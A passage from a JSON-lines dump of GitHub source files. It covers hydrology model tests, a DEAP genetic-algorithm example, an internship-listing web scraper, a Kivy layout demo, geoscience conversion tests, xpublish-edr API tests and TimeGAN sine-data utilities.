add_child_sfr(gwfc, scen_nm_child)\n # add the mover packages (simulation level and gwf level)\n add_parent_mvr(gwf, scen_nm_parent, frac)\n add_child_mvr(gwfc, scen_nm_child)\n if frac is not None:\n add_sim_mvr(sim, scen_nm_parent, scen_nm_child, 1 - frac)\n else:\n add_sim_mvr(sim, scen_nm_parent, scen_nm_child)\n\n sim.write_simulation()\n\n # Run the simulation\n success, buff = sim.run_simulation(silent=False)\n if not success:\n print(buff)\n\n return success\n\n\ndef check_simulation_output():\n parent_sfr_last_reach_flow = []\n parent_sfr_mvr_amount = []\n sim_mvr_amount = []\n gwf_srch_str1 = (\n \" SFR-PARENT PACKAGE - SUMMARY OF FLOWS FOR EACH CONTROL VOLUME\"\n )\n gwf_srch_str2 = \" WATER MOVER PACKAGE (MVR) FLOW RATES \"\n sim_srch_str = \" WATER MOVER PACKAGE (MVR) FLOW RATES \"\n for idx, (cur_ws, gwfparent) in enumerate(zip(sim_workspaces, gwf_names)):\n with open(\n os.path.join(cur_ws, gwfparent + \".lst\"), \"r\"\n ) as gwf_lst, open(os.path.join(cur_ws, \"mfsim.lst\"), \"r\") as sim_lst:\n gwf_lst_lines = gwf_lst.readlines()\n sim_lst_lines = sim_lst.readlines()\n\n # Convert lists of lines to iterable objects\n gwf_lst = iter(gwf_lst_lines)\n sim_lst = iter(sim_lst_lines)\n\n # Peel mvr values from gwf lst file to be compared between scenarios\n done = False\n for line in gwf_lst:\n # adv file pointer to search line\n if gwf_srch_str1 in line:\n # once at the identified line, continue searching until sfr obj 17 queued\n while True:\n line = next(gwf_lst)\n m_arr = line.strip().split()\n if m_arr[0] == \"18\":\n # store the 3rd value on the line (it should be the same across all scenarios\n parent_sfr_last_reach_flow.append(float(m_arr[2]))\n break\n\n # the second search string will only appear in the 50/50 and 75/25 scenarios\n if gwf_srch_str2 in line and idx > 0:\n # once at srch_str2, continue searching until 2nd mvr connection queued\n while True:\n line = next(gwf_lst)\n m_arr = line.strip().split()\n if m_arr[0] == \"2\":\n parent_sfr_mvr_amount.append(float(m_arr[4]))\n done = True\n break\n\n if done:\n break\n\n # now cycle through the simulation lst file\n # only the 50/50 and 75/25 scenarios will have the descired line\n if idx > 0:\n for line in sim_lst:\n if sim_srch_str in line:\n while True:\n line = next(sim_lst)\n m_arr = line.strip().split()\n if m_arr[0] == \"3\":\n sim_mvr_amount.append(float(m_arr[4]))\n done = True\n break\n\n # perform the comparisons:\n # o check flow entering last reach of parent model\n # - should be the same across all 3 simulation\n # - for current version of model, this amount was roughly 214.25\n # o check the relative proportion of flows between gwf- and\n # simulation-level mvrs\n # - 50/50: ~107 units of flow in each\n # - 75/25: 75% goes through the gwf mvr, 25% through the simulation mvr\n for i in np.arange(len(parent_sfr_mvr_amount) - 1):\n assert math.isclose(\n parent_sfr_last_reach_flow[i],\n parent_sfr_last_reach_flow[i + 1],\n rel_tol=0.1,\n ), (\n \"Flow in the last reach of scenario \"\n + mvr_scens[i]\n + \" = \"\n + str(parent_sfr_last_reach_flow[i])\n + \", whereas the flow in scenario \"\n + mvr_scens[i + 1]\n + \" = \"\n + str(parent_sfr_last_reach_flow[i + 1])\n + \". Something changed, quitting.\"\n )\n\n # 50/50\n gwf_transferred_50 = parent_sfr_mvr_amount[0] / (\n parent_sfr_mvr_amount[0] + sim_mvr_amount[0]\n )\n sim_transferred_50 = sim_mvr_amount[0] / (\n parent_sfr_mvr_amount[0] + sim_mvr_amount[0]\n )\n assert np.allclose(\n np.array([gwf_transferred_50, sim_transferred_50]),\n np.array([0.5, 0.5]),\n rtol=0.1,\n ), \"There should be a 50/50 split in the amount of water transferred by the GWF- and simulation-level MVRs.\"\n\n # 75/25\n gwf_transferred_75 = parent_sfr_mvr_amount[1] / (\n parent_sfr_mvr_amount[1] + sim_mvr_amount[1]\n )\n sim_transferred_75 = sim_mvr_amount[1] / (\n parent_sfr_mvr_amount[1] + sim_mvr_amount[1]\n )\n assert np.allclose(\n np.array([gwf_transferred_75, sim_transferred_75]),\n np.array([0.75, 0.25]),\n rtol=0.1,\n ), \"There should be a 75/25 split in the amount of water transferred by the GWF- and simulation-level MVRs.\"\n\n\n# - No need to change any code below\ndef test_mf6model():\n # initialize testing framework\n test = testing_framework()\n\n # build the models\n build_and_run_simulations()\n\n # Check scenario output\n # evaluate list file output to ensure total flows are similar\n # no matter what the mvr connection setup is (i.e., simulation-level\n # mvr vs gwf-level mvr) or what the relative fraction between the\n # different level mvrs is.\n check_simulation_output()\n\n return\n\n\ndef main():\n # initialize testing framework\n test = testing_framework()\n\n # build the models\n build_and_run_simulations()\n\n # Check scenario output\n # evaluate list file output to ensure total flows are similar\n # no matter what the mvr connection setup is (i.e., simulation-level\n # mvr vs gwf-level mvr) or what the relative fraction between the\n # different level mvrs is.\n check_simulation_output()\n\n return\n\n\nif __name__ == \"__main__\":\n # print message\n print(\"standalone run of {}\".format(os.path.basename(__file__)))\n\n # run main routine\n main()\n","repo_name":"VB6Hobbyst7/modflow6","sub_path":"autotest/test_gwf_multimvr.py","file_name":"test_gwf_multimvr.py","file_ext":"py","file_size_in_byte":28555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"70932481371","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nThe problem is very simple, we search for a 1 filled solution\n\"\"\"\nfrom __future__ import division\n\nimport random\nfrom deap import base, creator, tools, algorithms\n\n# Type creation (default: Fitness and individual)\n# #################################################################\n# Create Fitness\n# Maximizing --> replacing virtual weights by attribute 1.0;\ncreator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\n\n# Alternative: creator.create(\"FitnessMin\", base.Fitness, weights=(-1.0,))\n\n# Creates individual, inheritance of list\n# Holds fitnesss value of FitnessMax type\ncreator.create(\"Individual\", list, fitness=creator.FitnessMax)\n\n# Created classes are made available in creater module\n\n# Initialize objects of new classes\n# ################################################################\nind = creator.Individual([1, 0, 1, 1, 0])\n\nprint(ind)\nprint(type(ind))\nprint(type(ind.fitness))\nprint()\n\n# Toolbox\n# ################################################################\n# Container holding functions, that are stored under their name aliases\n\ntoolbox = base.Toolbox()\n\n# Function to call random integer between 0 and 1\ntoolbox.register(\"attr_bool\", random.randint, 0, 1)\n\n# Uses tools.initRepeat to fill individual with random 0, 1 integers\ntoolbox.register(\"individual\", tools.initRepeat,\n creator.Individual, toolbox.attr_bool, n=10)\n\n# Generate population of individuals\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\nbit = toolbox.attr_bool()\nind = toolbox.individual()\npop = toolbox.population(n=3)\n\nprint(\"bit is of type %s and has value\\n%s\" % (type(bit), bit))\nprint(\n \"ind is of type %s and contains %d bits\\n%s\" % (type(ind), len(ind), ind))\nprint(\"pop is of type %s and contains %d individuals\\n%s\" % (\ntype(pop), len(pop), pop))\nprint()\n\n# Evaluate function\n# ################################################################\n\n# Count nb of 1 in individual\ndef evalOneMax(individual):\n return sum(individual),\n\n# Genetic Operators\n# ################################################################\n# Registering the operators and their default arguments in the toolbox\n\ntoolbox.register(\"evaluate\", evalOneMax)\ntoolbox.register(\"mate\", tools.cxTwoPoint)\n\n# indpb: Probability of each attribute to be mutated\ntoolbox.register(\"mutate\", tools.mutFlipBit, indpb=0.10)\ntoolbox.register(\"select\", tools.selTournament, tournsize=3)\n\nind = toolbox.individual()\nprint(ind)\ntoolbox.mutate(ind)\nprint(ind)\n\nmutant = toolbox.clone(ind)\nprint(mutant is ind)\nprint(mutant == ind)\n\n# Evolving the population\n# ################################################################\n\ndef main():\n import numpy\n\n pop = toolbox.population(n=50)\n hof = tools.HallOfFame(1)\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register(\"avg\", numpy.mean)\n stats.register(\"min\", numpy.min)\n stats.register(\"max\", numpy.max)\n\n pop, logbook = algorithms.eaSimple(pop, toolbox, cxpb=0.5, mutpb=0.2,\n ngen=10, stats=stats, halloffame=hof,\n verbose=True)\n\n return pop, logbook, hof\n\n\nif __name__ == \"__main__\":\n pop, log, hof = main()\n print(\n \"Best individual is: %s\\nwith fitness: %s\" % (hof[0], hof[0].fitness))\n\n import matplotlib.pyplot as plt\n\n gen, avg, min_, max_ = log.select(\"gen\", \"avg\", \"min\", \"max\")\n plt.plot(gen, avg, label=\"average\")\n plt.plot(gen, min_, label=\"minimum\")\n plt.plot(gen, max_, label=\"maximum\")\n plt.xlabel(\"Generation\")\n plt.ylabel(\"Fitness\")\n plt.legend(loc=\"lower right\")\n plt.show()","repo_name":"RWTH-EBC/pyCity_resilience","sub_path":"pycity_resilience/others/deap_experiments/j_notebook.py","file_name":"j_notebook.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"73916357210","text":"import requests\nimport random\nimport json\nimport pprint\nimport re\nimport csv\n\nfrom get_proxy import proxys\nfrom configs import headers, cookies, city_codes\nfrom bs4 import BeautifulSoup\n\n\nclass Internship_spider():\n base_url = \"http://www.shixiseng.com/interns/\"\n new_city_codes = {v: k for k, v in city_codes.items()}\n\n def __init__(self, keyword, city):\n self.keyword = keyword\n self.city = city + \"市\"\n\n def __get_uuids(self):\n city_code = Internship_spider.new_city_codes[self.city]\n p = 1\n uuids = []\n while True:\n url = Internship_spider.base_url + \"c-\" + \\\n city_code + \"_?k=\" + self.keyword + \"&p=\" + str(p)\n htmls = requests.get(url, headers=random.choice(\n headers), cookies=cookies, proxies=random.choice(proxys)).text\n soup = BeautifulSoup(htmls, \"html5lib\")\n links = soup.select(\".position-list li .name-box a\")\n if len(links) == 0:\n break\n for link in links:\n uuids.append(link.get('data-info'))\n p += 1\n return uuids\n\n def __analysis(self, uuids):\n intern_urls = []\n for uuid in uuids:\n intern_urls.append(\n \"https://wap.shixiseng.com/app/intern/info?uuid=\" + uuid)\n internships = []\n for intern_url in intern_urls:\n unicode_strs = requests.get(intern_url, headers=random.choice(\n headers), cookies=cookies, proxies=random.choice(proxys)).text\n htmls = unicode_strs.encode('latin-1').decode('unicode_escape')\n title = str(re.findall('\"iname\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n company = {\"company_name\": str(re.findall('\"cname\"\\:([\\s\\S]*?)\\,', htmls))[4:-3],\n \"industry\": str(re.findall('\"industry\"\\:([\\s\\S]*?)\\,', htmls))[4:-3],\n \"scale\": str(re.findall('\"scale\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n }\n salary = str(re.findall('\"minsal\"\\:([\\s\\S]*?)\\,', htmls))[4:-3] + \"-\" + str(\n re.findall('\"maxsal\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n frequency = str(re.findall(\n '\"day\"\\:([\\s\\S]*?)\\,', htmls))[3:-2] + '天每周'\n month = str(re.findall(\n '\"month\"\\:([\\s\\S]*?)\\,', htmls))[3:-2] + '个月'\n address = str(re.findall('\"address\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n degree = str(re.findall('\"degree\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n refresh_time = str(re.findall(\n '\"refresh\"\\:([\\s\\S]*?)\\,', htmls))[4:-3]\n info = [title, company, salary, frequency,\n month, address, degree, refresh_time]\n internships.append(info)\n return internships\n\n def __save(self, internships):\n f = open(\"internship_data.csv\", \"a\")\n writer = csv.writer(f)\n writer.writerows(internships)\n f.close()\n\n def go(self):\n uuids = self.__get_uuids()\n internships = self.__analysis(uuids)\n self.__save(internships)\n\n\nspider = Internship_spider(\"Python\", \"北京\")\nspider.go()\n","repo_name":"hellen931126/job_spider","sub_path":"internship_spider.py","file_name":"internship_spider.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4949463505","text":"from kivy.app import App\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.gridlayout import GridLayout\r\n\r\nclass Ornek(App):\r\n def build(self):\r\n\r\n govde = GridLayout(cols = 2)\r\n # Azami 2 sütundan oluşmasını istedik\r\n # 2 sütundan sonra alta kayacak.\r\n\r\n # Birden fazla buton ekleyip nasıl görünecek\r\n # for döngüsü ile ekleyelim\r\n\r\n for i in range(10):\r\n if (i%2 == 0):\r\n # Aynı sütuna denk gelenler için\r\n govde.add_widget(Button(text = \"{}\".format(i+1),\r\n size_hint_x = .4))\r\n else:\r\n govde.add_widget(Button(text = \"{}\".format(i+1)))\r\n\r\n return govde\r\n\r\nOrnek().run()\r\n\r\n","repo_name":"bgr8/Python-Projeleri","sub_path":"Kivy/3.Pencere Düzenleri/3.GridLayout/gridlayout.py","file_name":"gridlayout.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30944025724","text":"from __future__ import division, print_function\n\n# Import Python modules\nimport os\n\n# Import BBP modules\nimport vm2vm\nimport seqnum\nimport filecmp\nimport unittest\nimport bband_utils\nfrom install_cfg import InstallCfg\n\nclass TestVm2vm(unittest.TestCase):\n \"\"\"\n Unit tests for the velocity model conversion codes\n \"\"\"\n def setUp(self):\n \"\"\"\n Copy needed files to run the test\n \"\"\"\n self.install = InstallCfg()\n self.sim_id = int(seqnum.get_seq_num())\n self.a_tmpdir = os.path.join(self.install.A_TMP_DATA_DIR, str(self.sim_id))\n self.a_ucsb_refdir = os.path.join(self.install.A_TEST_REF_DIR, \"ucsb\")\n self.a_sdsu_refdir = os.path.join(self.install.A_TEST_REF_DIR, \"sdsu\")\n self.a_gp_refdir = os.path.join(self.install.A_TEST_REF_DIR, \"gp\")\n\n #\n # Make sure output directories exist\n #\n bband_utils.mkdirs([self.a_tmpdir])\n\n def test_vm2vm(self):\n \"\"\"\n input a GP format file and get out a SDSU format file\n \"\"\"\n gpfile = os.path.join(self.a_sdsu_refdir, \"gp_velmodel.v1d\")\n sdsufile = os.path.join(self.a_tmpdir, \"gp_velmodel.sdsu\")\n sdsuref = os.path.join(self.a_sdsu_refdir, \"sdsu_velmodel.ref\")\n _ = vm2vm.gpvm2sdsuvm(gpfile, sdsufile)\n errmsg = \"Conversion of velmodel from GP to SDSU failed\"\n self.failIf(filecmp.cmp(sdsuref, sdsufile) == False, errmsg)\n\n def test_vm2vm_nga(self):\n \"\"\"\n input a GP format file and get out a SDSU format file\n \"\"\"\n gpfile = os.path.join(self.a_gp_refdir, \"nga_rock1.v1d\")\n sdsufile = os.path.join(self.a_tmpdir, \"sdsu_nga_rock1.v1d\")\n sdsuref = os.path.join(self.a_sdsu_refdir, \"sdsu_nga_rock1.v1d\")\n _ = vm2vm.gpvm2sdsuvm(gpfile, sdsufile)\n errmsg = \"Conversion of velmodel from GP to SDSU failed\"\n self.failIf(filecmp.cmp(sdsuref, sdsufile) == False, errmsg)\n\n def test_vm2ucsb(self):\n \"\"\"\n input a GP format file and get out a UCSB format file\n \"\"\"\n gpfile = os.path.join(self.a_ucsb_refdir, \"gp_velocity_model.txt\")\n ofile = os.path.join(self.a_tmpdir, \"ucsb_velocity_model.txt\")\n ucsbref = os.path.join(self.a_ucsb_refdir, \"ucsb_velocity_model.txt\")\n _ = vm2vm.gpvm2ucsbvm(gpfile, ofile)\n errmsg = \"Conversion of velmodel from GP to UCSB ffailed\"\n self.failIf(filecmp.cmp(ucsbref, ofile) == False, errmsg)\n\n def test_vm2ucsb_nga(self):\n \"\"\"\n input a GP format file and get out a UCSB format file\n \"\"\"\n gpfile = os.path.join(self.a_gp_refdir, \"nga_rock1.v1d\")\n ofile = os.path.join(self.a_tmpdir, \"ucsb_nga_rock1.v1d\")\n ucsbref = os.path.join(self.a_ucsb_refdir, \"ucsb_nga_rock1.v1d\")\n _ = vm2vm.gpvm2ucsbvm(gpfile, ofile)\n errmsg = \"Conversion of velmodel from GP to UCSB ffailed\"\n self.failIf(filecmp.cmp(ucsbref, ofile) == False, errmsg)\n\nif __name__ == '__main__':\n SUITE = unittest.TestLoader().loadTestsFromTestCase(TestVm2vm)\n unittest.TextTestRunner(verbosity=2).run(SUITE)\n","repo_name":"UWGeotech/bbpUW","sub_path":"bbp/tests/test_vm2vm.py","file_name":"test_vm2vm.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41731646646","text":"import pytest\nimport xpublish\nfrom fastapi.testclient import TestClient\n\nfrom xpublish_edr import CfEdrPlugin\n\n\n@pytest.fixture(scope=\"session\")\ndef cf_dataset():\n from cf_xarray.datasets import airds\n\n return airds\n\n\n@pytest.fixture(scope=\"session\")\ndef cf_xpublish(cf_dataset):\n rest = xpublish.Rest({\"air\": cf_dataset}, plugins={\"edr\": CfEdrPlugin()})\n\n return rest\n\n\n@pytest.fixture(scope=\"session\")\ndef cf_client(cf_xpublish):\n app = cf_xpublish.app\n client = TestClient(app)\n\n return client\n\n\ndef test_cf_position_formats(cf_client):\n response = cf_client.get(\"/edr/position/formats\")\n\n assert response.status_code == 200, \"Response did not return successfully\"\n\n data = response.json()\n\n assert \"cf_covjson\" in data, \"cf_covjson is not a valid format\"\n assert \"nc\" in data, \"nc is not a valid format\"\n assert \"csv\" in data, \"csv is not a valid format\"\n\n\ndef test_cf_position_query(cf_client, cf_dataset):\n x = 204\n y = 44\n response = cf_client.get(f\"/datasets/air/edr/position?coords=POINT({x} {y})\")\n\n assert response.status_code == 200, \"Response did not return successfully\"\n\n data = response.json()\n\n for key in (\"type\", \"domain\", \"parameters\", \"ranges\"):\n assert key in data, f\"Key {key} is not a top level key in the CovJSON response\"\n\n axes = data[\"domain\"][\"axes\"]\n\n assert axes[\"x\"] == {\"values\": [205.0]}, \"Did not select nearby x coordinate\"\n assert axes[\"y\"] == {\"values\": [45.0]}, \"Did not select a nearby y coordinate\"\n\n assert (\n len(axes[\"t\"][\"values\"]) == 4\n ), \"There should be a time value for each time step\"\n\n air_param = data[\"parameters\"][\"air\"]\n\n assert (\n air_param[\"unit\"][\"label\"][\"en\"] == cf_dataset[\"air\"].attrs[\"units\"]\n ), \"DataArray units should be set as parameter units\"\n assert (\n air_param[\"observedProperty\"][\"id\"] == cf_dataset[\"air\"].attrs[\"standard_name\"]\n ), \"DataArray standard_name should be set as the observed property id\"\n assert (\n air_param[\"observedProperty\"][\"label\"][\"en\"]\n == cf_dataset[\"air\"].attrs[\"long_name\"]\n ), \"DataArray long_name should be set as parameter observed property\"\n assert (\n air_param[\"description\"][\"en\"] == cf_dataset[\"air\"].attrs[\"long_name\"]\n ), \"DataArray long_name should be set as parameter description\"\n\n air_range = data[\"ranges\"][\"air\"]\n\n assert air_range[\"type\"] == \"NdArray\", \"Response range should be a NdArray\"\n assert air_range[\"dataType\"] == \"float\", \"Air dataType should be floats\"\n assert air_range[\"axisNames\"] == [\"t\"], \"Time should be the only remaining axes\"\n assert len(air_range[\"shape\"]) == 1, \"There should only one axes\"\n assert air_range[\"shape\"][0] == len(axes[\"t\"][\"values\"]), \"The shape of the \"\n assert (\n len(air_range[\"values\"]) == 4\n ), \"There should be 4 values, one for each time step\"\n\n\ndef test_cf_position_csv(cf_client):\n x = 204\n y = 44\n response = cf_client.get(f\"/datasets/air/edr/position?coords=POINT({x} {y})&f=csv\")\n\n assert response.status_code == 200, \"Response did not return successfully\"\n assert (\n \"text/csv\" in response.headers[\"content-type\"]\n ), \"The content type should be set as a CSV\"\n assert (\n \"attachment\" in response.headers[\"content-disposition\"]\n ), \"The response should be set as an attachment to trigger download\"\n assert (\n \"position.csv\" in response.headers[\"content-disposition\"]\n ), \"The file name should be position.csv\"\n\n csv_data = [\n line.split(\",\") for line in response.content.decode(\"utf-8\").splitlines()\n ]\n\n assert (\n len(csv_data) == 5\n ), \"There should be 4 data rows (one for each time step), and one header row\"\n for key in (\"time\", \"lat\", \"lon\", \"air\", \"cell_area\"):\n assert key in csv_data[0], f\"column {key} should be in the header\"\n\n\ndef test_cf_position_nc(cf_client):\n x = 204\n y = 44\n response = cf_client.get(f\"/datasets/air/edr/position?coords=POINT({x} {y})&f=nc\")\n\n assert response.status_code == 200, \"Response did not return successfully\"\n assert (\n \"application/netcdf\" in response.headers[\"content-type\"]\n ), \"The content type should be set as a NetCDF\"\n assert (\n \"attachment\" in response.headers[\"content-disposition\"]\n ), \"The response should be set as an attachment to trigger download\"\n assert (\n \"position.nc\" in response.headers[\"content-disposition\"]\n ), \"The file name should be position.nc\"\n\n\ndef test_percent_encoded_cf_position_nc(cf_client):\n x = 204\n y = 44\n response = cf_client.get(f\"/datasets/air/edr/position?coords=POINT({x}%20{y})&f=nc\")\n\n assert response.status_code == 200, \"Response did not return successfully\"\n assert (\n \"application/netcdf\" in response.headers[\"content-type\"]\n ), \"The content type should be set as a NetCDF\"\n assert (\n \"attachment\" in response.headers[\"content-disposition\"]\n ), \"The response should be set as an attachment to trigger download\"\n assert (\n \"position.nc\" in response.headers[\"content-disposition\"]\n ), \"The file name should be position.nc\"\n","repo_name":"xpublish-community/xpublish-edr","sub_path":"tests/test_cf_router.py","file_name":"test_cf_router.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"28401639479","text":"import numpy as np\nimport torch\nimport matplotlib.pyplot as plt\nimport umap\n\n\nclass minmaxscaler:\n def __init__(self):\n self.matrix_min = None\n self.matrix_max = None\n self.denom = None\n\n def fit(self, X):\n self.matrix_min = X.min(axis=1, keepdims=True).values\n self.matrix_max = X.max(axis=1, keepdims=True).values\n self.denom = self.matrix_max - self.matrix_min\n\n def fit_transform(self, X):\n self.fit(X)\n return self.transform(X)\n\n def transform(self, X):\n return (X - self.matrix_min) / self.denom\n\n def inverse_transform(self, X):\n return X * self.denom + self.matrix_min\n\n\ndef create_sin3(sin1, sin2, alpha, noise):\n seq_len = len(sin1)\n importance = np.array([alpha ** i for i in range(seq_len)])\n\n if alpha < 1:\n sin3 = []\n for i in range(1, seq_len + 1):\n sin3.append(((importance[:i][::-1] * sin1[:i] + importance[:i][::-1] * sin2[:i]) / 2).sum())\n sin3 = np.array(sin3)\n else:\n sin3 = (sin1 + sin2) / 2\n\n #if noise > 0:\n # sin3 = np.array(sin3) + np.random.normal(0, noise, seq_len)\n\n return sin3\n\n\ndef sine_data_generation(no, seq_len, alpha, noise, s1_freq, s2_freq, s1_phase, s2_phase):\n \"\"\"Sine data generation.\n\n Args:\n - no: the number of samples\n - seq_len: sequence length of the time-series\n - dim: feature dimensions\n - temporal: whether to add temporal information\n\n Returns:\n - data: generated data\n \"\"\"\n # Initialize the output\n data = list()\n # Generate sine data\n for i in range(no):\n # Initialize each time-series\n\n t = np.linspace(0, 2*np.pi, seq_len)\n #t = np.arange(seq_len)\n # Randomly drawn frequency and phase\n\n freq1 = np.random.uniform(s1_freq[0], s1_freq[1])\n phase1 = np.random.uniform(s1_phase[0], s1_phase[1])\n sin1 = np.sin(t * freq1 + phase1)\n\n freq2 = np.random.uniform(s2_freq[0], s2_freq[1])\n phase2 = np.random.uniform(s2_phase[0], s2_phase[1])\n sin2 = np.sin(t * freq2 + phase2)\n\n if noise > 0:\n sin1 = sin1 + np.random.normal(0, noise, seq_len)\n sin2 = sin2 + np.random.normal(0, noise, seq_len)\n\n sin3 = create_sin3(sin1, sin2, alpha=alpha, noise=noise)\n sinuses = np.array([sin1, sin2, sin3])\n # Align row/column\n temp = torch.tensor(sinuses).transpose(0, 1)\n # Normalize to [0,1]\n # temp = (temp + 1) * 0.5\n # Stack the generated data\n data.append(temp)\n\n return torch.stack(data)\n\n\nclass DatasetSinus(torch.utils.data.Dataset):\n \"\"\"TimeGAN Dataset for sampling data with their respective time\n Args:\n - data (numpy.ndarray): the padded dataset to be fitted (D x S x F)\n - time (numpy.ndarray): the length of each data (D)\n Parameters:\n - x (torch.FloatTensor): the real value features of the data\n - t (torch.LongTensor): the temporal feature of the data\n \"\"\"\n\n def __init__(self, num, seq_len, alpha, noise, s1_freq=None, s2_freq=None, s1_phase=None, s2_phase=None):\n \"\"\"Initialize the dataset\n Optinal args:\n s1_freq, s2_freq, s1_phase, s2_phase: list of two floats, [min, max]\n \"\"\"\n # standard sine waves\n if s1_freq is None:\n s1_freq = [1, 3]\n #s1_freq = [0.05, 0.15]\n if s2_freq is None:\n s2_freq = [4, 6]\n #s2_freq = [0.3, 0.4]\n if s1_phase is None:\n s1_phase = [-np.pi/2, 0]\n #s1_phase = [-np.pi / 2, 0]\n if s2_phase is None:\n s2_phase = [0, np.pi/2]\n #s2_phase = [0, np.pi / 2]\n\n print(f\"sin1 freq:{s1_freq}, phase:{s1_phase}\")\n print(f\"sin2 freq:{s2_freq}, phase:{s2_phase}\")\n\n\n self.X_raw = sine_data_generation(num, seq_len, alpha, noise,\n s1_freq, s2_freq, s1_phase, s2_phase)\n self.X_scaler = minmaxscaler()\n self.X = self.X_scaler.fit_transform(self.X_raw)\n # self.X = torch.tensor(sine_data_generation(num, seq_len, features, temporal=temporal),\n # dtype=torch.float32).clone().detach_()\n self.T = [x.size(0) for x in self.X]\n\n def __len__(self):\n return len(self.X)\n\n def __getitem__(self, idx):\n return self.X[idx].float(), self.T[idx]\n\n def collate_fn(self, batch):\n \"\"\"Minibatch sampling\n \"\"\"\n # Pad sequences to max length\n X_mb = [X for X in batch[0]]\n\n # The actual length of each data\n T_mb = [T for T in batch[1]]\n\n return X_mb, T_mb\n\n\nclass DatasetStocks(torch.utils.data.Dataset):\n \"\"\"TimeGAN Dataset for sampling data with their respective time\n Args:\n - data (numpy.ndarray): the padded dataset to be fitted (D x S x F)\n - time (numpy.ndarray): the length of each data (D)\n Parameters:\n - x (torch.FloatTensor): the real value features of the data\n - t (torch.LongTensor): the temporal feature of the data\n \"\"\"\n\n def __init__(self, data):\n # sanity check\n self.X = data\n self.T = [x.size(0) for x in self.X]\n\n def __len__(self):\n return len(self.X)\n\n def __getitem__(self, idx):\n return self.X[idx].float(), self.T[idx]\n\n def collate_fn(self, batch):\n \"\"\"Minibatch sampling\n \"\"\"\n # Pad sequences to max length\n X_mb = [X for X in batch[0]]\n\n # The actual length of each data\n T_mb = [T for T in batch[1]]\n\n return X_mb, T_mb\n\n\n#######################################################################\n# Visualization\n\n# Commented out IPython magic to ensure Python compatibility.\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\n\n\ndef visualization(ori_data, generated_data, analysis):\n \"\"\"Using PCA or tSNE for generated and original data visualization.\n\n Args:\n - ori_data: original data\n - generated_data: generated synthetic data\n - analysis: tsne or pca\n \"\"\"\n # Analysis sample size (for faster computation)\n anal_sample_no = min([1000, len(ori_data)])\n idx = np.random.permutation(len(ori_data))[:anal_sample_no]\n\n # Data preprocessing\n ori_data = np.asarray(ori_data)\n generated_data = np.asarray(generated_data)\n\n ori_data = ori_data[idx]\n generated_data = generated_data[idx]\n\n no, seq_len, dim = ori_data.shape\n\n for i in range(anal_sample_no):\n if (i == 0):\n prep_data = np.reshape(np.mean(ori_data[0, :, :], 1), [1, seq_len])\n prep_data_hat = np.reshape(np.mean(generated_data[0, :, :], 1), [1, seq_len])\n else:\n prep_data = np.concatenate((prep_data,\n np.reshape(np.mean(ori_data[i, :, :], 1), [1, seq_len])))\n prep_data_hat = np.concatenate((prep_data_hat,\n np.reshape(np.mean(generated_data[i, :, :], 1), [1, seq_len])))\n\n # Visualization parameter\n colors = [\"tab:blue\" for i in range(anal_sample_no)] + [\"tab:orange\" for i in range(anal_sample_no)]\n\n if analysis == 'pca':\n # PCA Analysis\n pca = PCA(n_components=2)\n pca.fit(prep_data)\n pca_results = pca.transform(prep_data)\n pca_hat_results = pca.transform(prep_data_hat)\n\n # Plotting\n f, ax = plt.subplots(1)\n plt.scatter(pca_results[:, 0], pca_results[:, 1],\n c=colors[:anal_sample_no], alpha=0.2, label=\"Original\")\n plt.scatter(pca_hat_results[:, 0], pca_hat_results[:, 1],\n c=colors[anal_sample_no:], alpha=0.2, label=\"Synthetic\")\n\n ax.legend()\n plt.title('PCA plot')\n plt.xlabel('x-pca')\n plt.ylabel('y_pca')\n # plt.show()\n return f\n\n elif analysis == 'tsne':\n\n # Do t-SNE Analysis together\n prep_data_final = np.concatenate((prep_data, prep_data_hat), axis=0)\n\n # TSNE anlaysis\n tsne = TSNE(n_components=2, verbose=0, perplexity=40, n_iter=300)\n tsne_results = tsne.fit_transform(prep_data_final)\n\n # Plotting\n f, ax = plt.subplots(1)\n\n plt.scatter(tsne_results[:anal_sample_no, 0], tsne_results[:anal_sample_no, 1],\n c=colors[:anal_sample_no], alpha=0.2, label=\"Original\")\n plt.scatter(tsne_results[anal_sample_no:, 0], tsne_results[anal_sample_no:, 1],\n c=colors[anal_sample_no:], alpha=0.2, label=\"Synthetic\")\n\n ax.legend()\n\n plt.title('t-SNE plot')\n plt.xlabel('x-tsne')\n plt.ylabel('y_tsne')\n # plt.show()\n return f\n elif analysis == 'umap':\n\n prep_data_final = np.concatenate((prep_data, prep_data_hat), axis=0)\n reducer = umap.UMAP()\n embedding = reducer.fit_transform(prep_data_final)\n f, ax = plt.subplots(1)\n\n plt.scatter(embedding[:anal_sample_no, 0], embedding[:anal_sample_no, 1],\n c=colors[:anal_sample_no], alpha=0.2, label=\"Original\")\n plt.scatter(embedding[anal_sample_no:, 0], embedding[anal_sample_no:, 1],\n c=colors[anal_sample_no:], alpha=0.2, label=\"Synthetic\")\n\n ax.legend()\n\n plt.title('UMAP plot')\n plt.xlabel('x-umap')\n plt.ylabel('y_umap')\n # plt.show()\n return f\n\n\ndef modeCollapseEvaluator(ori_data, generated_data):\n # Analysis sample size (for faster computation)\n anal_sample_no = min([1000, len(ori_data)])\n idx = 